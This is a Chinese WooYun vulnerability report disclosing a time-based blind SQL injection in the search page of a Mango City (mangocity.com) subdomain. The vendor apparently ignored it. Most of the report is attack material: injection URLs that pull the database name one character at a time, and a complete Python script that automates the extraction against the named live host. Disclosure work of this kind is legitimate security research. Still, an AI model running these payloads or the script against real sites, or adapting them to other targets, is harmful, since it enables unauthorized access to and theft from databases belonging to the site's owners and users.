漏洞概要
关注数(24 )
关注此漏洞
漏洞标题:芒果网某站存在SQL注入漏洞(附验证脚本)
提交时间:2015-10-18 17:52
修复时间:2015-10-23 17:54
公开时间:2015-10-23 17:54
漏洞类型:SQL注射漏洞
危害等级:高
自评Rank:15
漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞
Tags标签:
无
漏洞详情 披露状态:
2015-10-18: 细节已通知厂商并且等待厂商处理中 2015-10-23: 厂商已经主动忽略漏洞,细节向公众公开
简要描述:
详细说明: http://bj.mangocity.com/search.jsp?keyword=1' AND (SELECT * FROM (SELECT(SLEEP (5*(length(database())=3))))K) AND '1'='1 延迟注入,将延迟时间扩大5倍,可能程序对语句执行了2次,所以是双倍延迟,为真时会睡眠10秒,db的长度为3
为假时不睡眠:
#第一位为u:
http://bj.mangocity.com/search.jsp?keyword=1' AND (SELECT * FROM (SELECT(SLEEP (5*(ascii(mid(database(),1,1))=117))))K) AND '1'='1
#第二位为t:
http://bj.mangocity.com/search.jsp?keyword=1' AND (SELECT * FROM (SELECT(SLEEP (5*(ascii(mid(database(),2,1))=116))))K) AND '1'='1
#第三位为7:
http://bj.mangocity.com/search.jsp?keyword=1' AND (SELECT * FROM (SELECT(SLEEP (5*(ascii(mid(database(),3,1))=55))))K) AND '1'='1
漏洞证明:
#encoding=utf-8 import httplib import time import string import sys import random import urllib headers = {'Content-Type': 'application/x-www-form-urlencoded',} payloads = 'abcdefghijklmnopqrstuvwxyz0123456789@_.' print '[%s] Start to retrive DB:' % time.strftime('%H:%M:%S', time.localtime()) db = '' for i in range(1, 4): for payload in payloads: time.sleep(1) s = "1' AND (SELECT * FROM (SELECT(SLEEP(5*(ascii(mid(database(),%s,1))=%s))))K) AND '1'='1" % (i, ord(payload)) s = "/search.jsp?keyword="+urllib.quote(s) conn = httplib.HTTPConnection('bj.mangocity.com', timeout=100) conn.request(method='GET', url=s, headers=headers) start_time = time.time() html_doc = conn.getresponse().read() conn.close() print '.', #print time.time() - start_time if time.time() - start_time > 10.0: db += payload print '\n[in progress]', db, break print '\n[Done] DB is %s' % db
修复方案: 版权声明:转载请注明来源 路人甲 @乌云
漏洞回应 厂商回应: 危害等级:无影响厂商忽略
忽略时间:2015-10-23 17:54
厂商回复:
漏洞Rank:15 (WooYun评价)
最新状态: 暂无